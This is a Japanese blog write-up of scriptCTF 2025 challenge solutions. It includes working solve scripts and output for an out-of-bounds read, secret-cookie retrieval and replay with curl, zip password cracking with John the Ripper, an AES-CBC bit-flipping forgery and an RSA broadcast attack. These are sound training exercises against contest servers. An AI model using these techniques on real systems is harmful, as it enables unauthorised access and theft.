以下の内容はhttps://yocchin.hatenablog.com/entry/2025/08/19/081106より取得しました。


scriptCTF 2025 Writeup

この大会は2025/8/16 9:00(JST)~2025/8/18 9:00(JST)に開催されました。
今回もチームで参戦。結果は3701点で1190チーム中216位でした。
自分で解けた問題をWriteupとして書いておきます。

Read The Rules (Misc)

ルールのページにリンクされている以下のページにフラグが書いてあった。

https://ctf.scriptsorcerers.xyz/prizes
scriptCTF{600D_1ucK_5011D3r1}

Div (Misc)

secretは128ビット整数。入力するnumの長さは10バイトを超えることができない。また、"e"を含めることができない。
以下の式で、divが0になれば、フラグが表示される。

fl_num = decimal.Decimal(num)
div = secret / fl_num

普通にはこんなことはできないが、decimal.Decimalの引数に"Infinity"を指定することができて、条件を満たしそう。

$ nc play.scriptsorcerers.xyz 10467
Enter a number: Infinity
scriptCTF{70_1nf1n17y_4nd_b3y0nd_331571b40b75}
scriptCTF{70_1nf1n17y_4nd_b3y0nd_331571b40b75}

emoji (Misc)

絵文字とフラグの形式部分を照らし合わせる。

🁳: s
🁣: c
🁲: r
🁩: i
🁰: p
🁴: t
🁃: C
🁔: T
🁆: F
🁻: {
🁽: }

ASCIIコードで並んでいると推測できる。横長の場合、以下のようになる。

_, _: 1
_, 1: 2
_, 2: 3
_, 3: 4
_, 4: 5
_, 5: 6
_, 6: 7
1, _: 8
1, 1: 9
1, 2: :
1, 3: ;
1, 4: <
1, 5: =
1, 6: >
2, _: ?
2, 1: @
2, 2: A
2, 3: B
2, 4: C
2, 5: D
2, 6: E
3, _: F
3, 1: G
3, 2: H
3, 3: I
3, 4: J
3, 5: K
3, 6: L
4, _: M
4, 1: N
4, 2: O
4, 3: P
4, 4: Q
4, 5: R
4, 6: S
5, _: T
5, 1: U
5, 2: V
5, 3: W
5, 4: X
5, 5: Y
5, 6: Z
6, _: [
6, 1: \
6, 2: ]
6, 3: ^
6, 4: _
6, 5: `
6, 6: a

縦長の場合、以下のようになる。

_, _: c
_, 1: d
_, 2: e
_, 3: f
_, 4: g
_, 5: h
_, 6: i
1, _: j
1, 1: k
1, 2: l
1, 3: m
1, 4: n
1, 5: o
1, 6: p
2, _: q
2, 1: r
2, 2: s
2, 3: t
2, 4: u
2, 5: v
2, 6: w
3, _: x
3, 1: y
3, 2: z
3, 3: {
3, 4: |
3, 5: }
3, 6: ~

これを元に以下の絵文字を置き換えていく。

🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽

なお、🀰は仲間外れなので、"0"として考える。🀡はよくわからないので、復号してから推測して上記にない文字を当てはめる。

scriptCTF{3m0j1_3nc0d1ng_1s_w31rd_4nd_fun!1e46d}

Subtract (Misc)

問題文に500x500と書いてあるので、coordinates.txtは座標の一覧を示していることがわかる。しかし、250573個の座標があるので、重複がある。
このため、書かれている座標に対して、反転していけば、何か現れると推測する。

#!/usr/bin/env python3
from PIL import Image

with open('coordinates.txt', 'r') as f:
    data = f.read().splitlines()

img = Image.new('L', (500, 500), 255)

for d in data:
    point = eval(d)
    val = img.getpixel(point)
    img.putpixel(point, val ^ 255)

img.save('flag.png')

この結果、フラグ文字列が現れた。

scriptCTF{5ub7r4c7_7h3_n01s3}

Enchant (Misc)

問題文はこうなっている。

I was playing minecraft, and found this strange enchantment on the enchantment table. 
Can you figure out what it is? Wrap the flag in scriptCTF{}

添付ファイルにはこう書いてある。

ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ

minecraft enchantment table decoder」で調べると、「Standard Galactic Alphabet (Minecraft) Translator」というエンコード・デコードサイトが見つかる。URLは次の通り。

https://www.dcode.fr/standard-galactic-alphabet

ここでデコードすると、以下の結果となった。

MINECRAFTISFUN
scriptCTF{MINECRAFTISFUN}

Div 2 (Misc)

サーバの処理概要は以下の通り。

・secret: 128ビット整数
・以下1000回繰り返し
 ・choice: 数値入力
 ・choiceが1の場合
  ・num: 数値入力
  ・fl_num = decimal.Decimal(num)
  ・fl_numのビット長とsecretのビット長が同じであることをチェック
  ・div = secret / fl_num
  ・divの整数値を表示
 ・choiceが2の場合
  ・guess: 数値入力
  ・guessとsecretが同じ場合、フラグを表示

2**127を最小値、2**128を最大値として、二分探索で範囲を小さくしていく。目的の値より大きい場合は0、小さい場合は1以上になる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('play.scriptsorcerers.xyz', 10442))

bounds = [2**127, 2**128]
for _ in range(1000):
    num = (bounds[0] + bounds[1]) // 2
    data = recvuntil(s, b': ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b': ')
    print(data + str(num))
    s.sendall(str(num).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data == '0':
        bounds[1] = num
    else:
        bounds[0] = num
    if bounds[1] - bounds[0] == 1:
        guess = bounds[0]
        break

data = recvuntil(s, b': ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + str(guess))
s.sendall(str(guess).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

                :
[1] Provide a number
[2] Guess the secret number
Choice: 1
Enter a number: 201972667545725385089756430807567457254
1
[1] Provide a number
[2] Guess the secret number
Choice: 1
Enter a number: 201972667545725385089756430807567457255
0
[1] Provide a number
[2] Guess the secret number
Choice: 2
Enter secret number: 201972667545725385089756430807567457254
scriptCTF{b1n4ry_s34rch_u51ng_d1v1s10n?!!_b29dca5af01f}
scriptCTF{b1n4ry_s34rch_u51ng_d1v1s10n?!!_b29dca5af01f}

Sums (Programming)

数値配列の部分数列の和を答える問題だが、数が多いので、時間がかかる。最後に"tletletletletletle"と出力されることがわかれば、計算方針が合っていることを確認できる。
途中の標準出力の処理を省略することによって、時間を短縮する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

n = 123456

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('play.scriptsorcerers.xyz', 10144))

data = recvuntil(s, b'\n').rstrip()
#print(data)
nums = list(map(int, data.split(' ')))

ranges = []
for _ in range(n):
    data = recvuntil(s, b'\n').rstrip()
    #print(data)
    lr = tuple(map(int, data.split(' ')))
    ranges.append(lr)

for i in range(n):
    l = ranges[i][0]
    r = ranges[i][1]
    ans = sum(nums[l:r + 1])
    #print(ans)
    s.sendall(str(ans).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
scriptCTF{1_w4n7_m0r3_5um5_894ed08d8116}

The Insider (OSINT)

問題文はこうなっている。

Someone from our support team has leaked some confidential information. Can you find out who?

https://play.scriptsorcerers.xyz/supportにサポートチームの一覧があるが、ここでは特にフラグに関するものは見つからない。
Discordで、サポートチームの一員である「NoobMaster」ユーザの情報を見ると、フラグが書いてあった。

scriptCTF{1ts_0bv10u5ly_j0hn_d03_aka_n00bm4573r}

The Insider 3 (OSINT)

GitHubを「scriptCTF」等で調べると、以下のアカウントが見つかる。

https://github.com/scriptCTF

scriptCTF26リポジトリを見ると、OSINTというディレクトリだけが見つかる。その中のleakedフォルダを見ると、フラグが見つかった。

scriptCTF{2026_fl4g_f0und_1n_2025}

Index (Pwn)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  do {
    while( true ) {
      menu();
      fgets(local_78,100,stdin);
      iVar1 = atoi(local_78);
      if (iVar1 < 5) break;
      if (iVar1 == 0x539) {
        f = fopen("flag.txt","r");
        fgets(flag,0x40,f);
      }
    }
    switch(iVar1) {
    case 0:
      printf("Invalid choice: %s",local_78);
      break;
    case 1:
      store_data();
      break;
    case 2:
      read_data();
      break;
    case 3:
      print_flag();
      break;
    case 4:
      puts("Bye!");
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
  } while( true );
}

void read_data(void)

{
  int local_c;
  
  printf("Index: ");
  __isoc99_scanf(&DAT_00102041,&local_c);
  getchar();
  printf("Data: %s",nums + (long)local_c * 8);
  return;
}

                             nums                                            XREF[3]:     Entry Point(*), 
                                                                                          store_data:001012c3(*), 
                                                                                          read_data:0010133d(*)  
        00104060 00 00 00        undefine
                 00 00 00 
                 00 00 00 
                             flag                                            XREF[3]:     Entry Point(*), main:0010153d(*), 
                                                                                          main:00101544(*)  
        001040a0 00 00 00        undefine
                 00 00 00 
                 00 00 00 
           001040a0 00              undefined100h                     [0]                               XREF[3]:     Entry Point(*), main:0010153d(*), 
                                                                                                                     main:00101544(*)  
           001040a1 00              undefined100h                     [1]
           001040a2 00              undefined100h                     [2]
           001040a3 00              undefined100h                     [3]
           001040a4 00              undefined100h                     [4]
           001040a5 00              undefined100h                     [5]
           001040a6 00              undefined100h                     [6]
           001040a7 00              undefined100h                     [7]
           001040a8 00              undefined100h                     [8]
           001040a9 00              undefined100h                     [9]
           001040aa 00              undefined100h                     [10]
           001040ab 00              undefined100h                     [11]
           001040ac 00              undefined100h                     [12]
           001040ad 00              undefined100h                     [13]
           001040ae 00              undefined100h                     [14]
           001040af 00              undefined100h                     [15]
           001040b0 00              undefined100h                     [16]
           001040b1 00              undefined100h                     [17]
           001040b2 00              undefined100h                     [18]
           001040b3 00              undefined100h                     [19]
           001040b4 00              undefined100h                     [20]
           001040b5 00              undefined100h                     [21]
           001040b6 00              undefined100h                     [22]
           001040b7 00              undefined100h                     [23]
           001040b8 00              undefined100h                     [24]
           001040b9 00              undefined100h                     [25]
           001040ba 00              undefined100h                     [26]
           001040bb 00              undefined100h                     [27]
           001040bc 00              undefined100h                     [28]
           001040bd 00              undefined100h                     [29]
           001040be 00              undefined100h                     [30]
           001040bf 00              undefined100h                     [31]
           001040c0 00              undefined100h                     [32]
           001040c1 00              undefined100h                     [33]
           001040c2 00              undefined100h                     [34]
           001040c3 00              undefined100h                     [35]
           001040c4 00              undefined100h                     [36]
           001040c5 00              undefined100h                     [37]
           001040c6 00              undefined100h                     [38]
           001040c7 00              undefined100h                     [39]
           001040c8 00              undefined100h                     [40]
           001040c9 00              undefined100h                     [41]
           001040ca 00              undefined100h                     [42]
           001040cb 00              undefined100h                     [43]
           001040cc 00              undefined100h                     [44]
           001040cd 00              undefined100h                     [45]
           001040ce 00              undefined100h                     [46]
           001040cf 00              undefined100h                     [47]
           001040d0 00              undefined100h                     [48]
           001040d1 00              undefined100h                     [49]
           001040d2 00              undefined100h                     [50]
           001040d3 00              undefined100h                     [51]
           001040d4 00              undefined100h                     [52]
           001040d5 00              undefined100h                     [53]
           001040d6 00              undefined100h                     [54]
           001040d7 00              undefined100h                     [55]
           001040d8 00              undefined100h                     [56]
           001040d9 00              undefined100h                     [57]
           001040da 00              undefined100h                     [58]
           001040db 00              undefined100h                     [59]
           001040dc 00              undefined100h                     [60]
           001040dd 00              undefined100h                     [61]
           001040de 00              undefined100h                     [62]
           001040df 00              undefined100h                     [63]
>>> 0x539
1337

メニューで1337を指定すれば、flagにフラグが設定される。またnumsとflagのアドレスは64バイト離れている。このことから、初めに1337を指定し、2のread_dataでindexに8を指定すれば、フラグが表示されるはず。

$ nc play.scriptsorcerers.xyz 10348
1. Store data
2. Read data
3. Print flag
4. Exit
1337
1. Store data
2. Read data
3. Print flag
4. Exit
2
Index: 8
Data: scriptCTF{4rr4y_00B_unl0ck3d_50f24b3f3a5c}
1. Store data
2. Read data
3. Print flag
4. Exit
scriptCTF{4rr4y_00B_unl0ck3d_50f24b3f3a5c}

Renderer (Web)

/developerのパスの処理の概要を見てみる。

  • cookie: クッキーのdeveloper_secret_cookieの値
  • correct: ./static/uploads/secrets/secret_cookie.txtの内容
  • cookieとcorrectが一致する場合は、フラグを表示

次に./static/uploads/secrets/secret_cookie.txtの内容を見てみる。

$ curl http://play.scriptsorcerers.xyz:10244/static/uploads/secrets/secret_cookie.txt
820c1c798cd912c6a995ad8cade1a859c602532a0440bfc23a3f0b02194a01e2

クッキーのdeveloper_secret_cookieにこの値を設定して、/developerにアクセスしてみる。

$ curl http://play.scriptsorcerers.xyz:10244/developer -b "developer_secret_cookie=820c1c798cd912c6a995ad8cade1a859c602532a0440bfc23a3f0b02194a01e2"
Welcome! There is currently 1 unread message: scriptCTF{my_c00k135_4r3_n0t_s4f3!_b32b3bc560a1}
scriptCTF{my_c00k135_4r3_n0t_s4f3!_b32b3bc560a1}

diskchal (Forensics)

imgファイルが添付されているので、FTK Imagerで開いてみたが、特に何も見つからない。このimgファイルを7-Zipで解凍すると、flag.txtが展開され、フラグが書いてあった。

scriptCTF{1_l0v3_m461c_7r1ck5}

pdf (Forensics)

PDF Stream Dumperで開き、オブジェクト4を見ると、フラグが見つかった。

scriptCTF{pdf_s7r34m5_0v3r_7w17ch_5tr34ms}

Just Some Avocado (Forensics)

$ binwalk avocado.jpg  

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
100599        0x188F7         Zip archive data, encrypted at least v1.0 to extract, compressed size: 234, uncompressed size: 222, name: justsomezip.zip
100922        0x18A3A         Zip archive data, encrypted at least v2.0 to extract, compressed size: 408140, uncompressed size: 437908, name: staticnoise.wav
509321        0x7C589         End of Zip archive, footer length: 22

zipがくっついているので、切り出す。

$ dd bs=1 skip=100599 if=avocado.jpg of=flag.zip       
408744+0 records in
408744+0 records out
408744 bytes (409 kB, 399 KiB) copied, 40.1037 s, 10.2 kB/s
$ zipinfo flag.zip              
Archive:  flag.zip
Zip file size: 408744 bytes, number of entries: 2
-rw-r--r--  3.0 unx      222 BX stor 25-Jun-25 08:16 justsomezip.zip
-rw-r--r--  3.0 unx   437908 BX defN 25-Jun-26 02:38 staticnoise.wav
2 files, 438130 bytes uncompressed, 408350 bytes compressed:  6.8%

パスワードがかかっているので、クラックする。

$ zip2john flag.zip > zip.hash
ver 1.0 efh 5455 efh 7875 flag.zip/justsomezip.zip PKZIP Encr: 2b chk, TS_chk, cmplen=234, decmplen=222, crc=F1B363B7 ts=9A00 cs=9a00 type=0
ver 2.0 efh 5455 efh 7875 flag.zip/staticnoise.wav PKZIP Encr: TS_chk, cmplen=408140, decmplen=437908, crc=1EEC7512 ts=6CD4 cs=6cd4 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
impassive3428    (flag.zip)     
1g 0:00:00:00 DONE (2025-08-17 10:02) 1.369g/s 10066Kp/s 10066Kc/s 10066KC/s in4nd0keren..imissdesi
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで解凍する。

$ unzip flag.zip            
Archive:  flag.zip
[flag.zip] justsomezip.zip password: 
 extracting: justsomezip.zip         
  inflating: staticnoise.wav
$ zipinfo justsomezip.zip 
Archive:  justsomezip.zip
Zip file size: 222 bytes, number of entries: 1
-rw-r--r--  3.0 unx       28 TX stor 25-Jun-25 08:12 flag.txt
1 file, 28 bytes uncompressed, 28 bytes compressed:  0.0%

justsomezip.zipはパスワードがかかっている。

staticnoise.wavをAudacityで開き、スペクトログラムを見る。周波数や大きさを調整すると文字が見える。

d41v3ron

これをパスワードとして、justsomezip.zipを解凍すると、flag.txtが展開され、フラグが書いてあった。

scriptCTF{1_l0ve_d41_v3r0n}

RSA-1 (Crypto)

RSA暗号で、eが3で3つのn, cのペアがあるので、Hastad's Broadcast Attackで復号する。復号した結果32バイトのパディングが行われているので、アンパディングする。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from Crypto.Util.Padding import unpad

n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965

n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284

n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630

e = 3
ns = [n1, n2, n3]
cs = [c1, c2, c3]
me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = unpad(long_to_bytes(m), 32).decode()
print(flag)
scriptCTF{y0u_f0und_mr_yu's_s3cr3t_m3g_12a4e4}

Secure-Server (Crypto)

pcapをWiresharkで開き、TCP Streamを見てみると、以下のようになっている。

With the Secure Server, sharing secrets is safer than ever!
Enter the secret, XORed by your key (in hex): 
151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03

Double encrypted secret (in hex): e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70
XOR the above with your key again (in hex): 
87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e

Secret received!

同じkeyでXORしているので、keyを求め、復号すればよい。

#!/usr/bin/env python3
from pwn import xor

enc_hex = '151e71ce4addf692d5bac83bb87911a20c39b71da3fa5e7ff05a2b2b0a83ba03'
enc = bytes.fromhex(enc_hex)

enc2_hex = 'e1930164280e44386b389f7e3bc02b707188ea70d9617e3ced989f15d8a10d70'
enc2 = bytes.fromhex(enc2_hex)
dec_hex = '87ee02c312a7f1fef8f92f75f1e60ba122df321925e8132068b0871ff303960e'
dec = bytes.fromhex(dec_hex)

key = xor(enc, enc2)
flag = xor(dec, key).decode()
print(flag)
scriptCTF{x0r_1s_not_s3cur3!!!!}

EaaS (Crypto)

サーバの処理概要は以下の通り。

・email = ''
・flag: フラグ
・has_flag = False
・sent = False
・key: ランダム32バイト文字列
・iv: ランダム16バイト文字列
・encrypt: 鍵:key, IV:ivのAES CBCモード暗号化オブジェクト
・decrypt: 鍵:key, IV:ivのAES CBCモード暗号化オブジェクト
・emailに10個のランダム英小文字を結合
・emailに"@notscript.sorcerer"を結合
・emailを表示
・password: 入力→hexデコード
・passwordの長さは16の倍数であることをチェック
・passwordには"@script.sorcerer"が含まれていないことをチェック
・passwordにはemailが含まれていないことをチェック
・encrypted_pass = encrypt.encrypt(password)
・encrypted_passを16進数表記で出力
・以下、繰り返し
 ・choice: 数値入力
 ・choiceが1の場合
  ・has_flagがTrueの場合、flagを表示
 ・choiceが2の場合
  ・sentがTrueの場合、終了
  ・sent = True
  ・user_email_encrypted: 入力→hexデコード
  ・user_email_encryptedの長さが16の倍数でない場合、終了
  ・user_email = decrypt.decrypt(user_email_encrypted)
  ・user_email[-16:]が"@script.sorcerer"でない場合、終了
  ・send_email(user_email)
   ・user_emailに","が含まれている場合
    ・recipients: recipientを","区切りにした配列
   ・user_emailに","が含まれていない場合
    ・recipients: recipient
   ・recipientsの各値iについて、以下を実行
    ・iがemailと一致する場合
     ・has_flag = True

emailを暗号化したデータを入手できればよいが、いろいろと条件がある。

emailは以下の形式

xxxxxxxxxx@notscript.sorcerer

最後のブロックは以下のようになっている必要がある。

@script.sorcerer

","区切りで、そのうちの一つにemailが含まれている必要がある。

最後のブロックの条件は、その前の暗号ブロックをXORで調整すれば何とでもなりそう。

以下の平文の暗号文を取得する。なお、"yxxxxxxxxx@notscript.sorcerer"の"y"はemailから一文字変えたものである。

0123456789abcdef
XXXXXXXXXXXXXXXX PT0 ^ IV  --(AES暗号化)--> CT0
X,yxxxxxxxxx@not PT1 ^ CT0 --(AES暗号化)--> CT1
script.sorcerer, PT2 ^ CT1 --(AES暗号化)--> CT2
XXXXXXXXXXXXXXXX PT3 ^ CT2 --(AES暗号化)--> CT3
@script.sorceres PT4 ^ CT3 --(AES暗号化)--> CT4

CT4はそのまま使い、以下が成り立つよう前のCT3_2を指定すれば、最後のブロックの平文は@script.sorcererになる。

CT3_2 = CT3 ^ "@script.sorceres" ^ "@script.sorcerer"

CT2、CT1はそのまま使い、以下が成り立つよう前のCT0_2を指定すれば、2ブロック目の平文はxxxxxxxxxx@notになる。

CT0_2 = CT0 ^ "X,yxxxxxxxxx@not" ^ "X,xxxxxxxxxx@not"

以上の暗号文を指定すれば、条件を満たす。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('play.scriptsorcerers.xyz', 10454))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

email = data.split(' ')[-1]

inp_email = '0' + email[1:]
inp_domain = '@script.sorceres'

password = 'X' * 17 + ',' + inp_email + ',' + 'X' * 16 + inp_domain
password_hex = password.encode().hex()

data = recvuntil(s, b': ')
print(data + password_hex)
s.sendall(password_hex.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_pass = bytes.fromhex(data.split(' ')[-1])

enc_blocks = [encrypted_pass[i:i+16] for i in range(0, len(encrypted_pass), 16)]

ct0 = strxor(enc_blocks[0], password[16:32].encode())
ct0 = strxor(ct0, ('X,' + email[:14]).encode())
ct3 = strxor(enc_blocks[3], password[64:80].encode())
ct3 = strxor(ct3, (inp_domain[:-1] + 'r').encode())

user_email_encrypted = ct0 + enc_blocks[1] + enc_blocks[2] + ct3 + enc_blocks[4]
user_email_encrypted_hex = user_email_encrypted.hex()

data = recvuntil(s, b': ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + user_email_encrypted_hex)
s.sendall(user_email_encrypted_hex.encode() + b'\n')

data = recvuntil(s, b': ')
print(data + '1')
s.sendall(b'1\n')

for _ in range(5):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Welcome to Email as a Service!
Your Email is: psubbebdiu@notscript.sorcerer

Enter secure password (in hex): 58585858585858585858585858585858582c30737562626562646975406e6f747363726970742e736f7263657265722c58585858585858585858585858585858407363726970742e736f726365726573
Please use this key for future login: 557b0b0b5087b7ca7167f9bfdf31b87d147ec1aebd7490961cf63fca8f06ac42c999a9201e8c92a7ca189e073b2e95780400f2664a705d8e7dea5828ef28a509664e22c7512ddd675eec865905f912e0
Enter your choice: 2
[1] Check for new messages
[2] Get flag
Enter encrypted email (in hex): 557b4b0b5087b7ca7167f9bfdf31b87d147ec1aebd7490961cf63fca8f06ac42c999a9201e8c92a7ca189e073b2e95780400f2664a705d8e7dea5828ef28a508664e22c7512ddd675eec865905f912e0
Email sent!
Enter your choice: 1
[1] Check for new messages
[2] Get flag
New email!
From: scriptsorcerers@script.sorcerer
Body: scriptCTF{CBC_1s_s3cur3_r1ght?_3cc87c17090e}
scriptCTF{CBC_1s_s3cur3_r1ght?_3cc87c17090e}

Mod (Crypto)

サーバの処理概要は以下の通り。

・secret: ランダム32バイト文字列を数値化したもの
・num: 数値入力
・num % secretを表示
・guess: 入力
・guessとsecretが一致する場合、フラグを表示

secretより大きい場合、num % secretとの差がsecretの倍数になり、1倍の場合もある。一つに絞ることはできないので、繰り返し実行し、1倍になるのを待つ。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('play.scriptsorcerers.xyz', 10164))

    num = 2**256

    data = recvuntil(s, b': ')
    print(data + str(num))
    s.sendall(str(num).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    rem = int(data)
    guess = num - rem

    data = recvuntil(s, b': ')
    print(data + str(guess))
    s.sendall(str(guess).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    s.close()

    if data != 'Incorrect!':
        break

実行結果は以下の通り。

Welcome to Mod!
Provide a number: 115792089237316195423570985008687907853269984665640564039457584007913129639936
17883211659322784187585244361732990316202745340172194326574036859275970347502
Guess: 97908877577993411235985740646954917537067239325468369712883547148637159292434
Incorrect!
Welcome to Mod!
Provide a number: 115792089237316195423570985008687907853269984665640564039457584007913129639936
11986505003051727581443688810640600930616516420398714387325461459233873007900
Guess: 103805584234264467842127296198047306922653468245241849652132122548679256632036
Incorrect!
Welcome to Mod!
Provide a number: 115792089237316195423570985008687907853269984665640564039457584007913129639936
16158360694075181727116965634652418059470375669593135316564585430394579811983
Guess: 99633728543241013696454019374035489793799608996047428722892998577518549827953
scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_daa486ce09da}
scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_daa486ce09da}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/08/19/081106より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14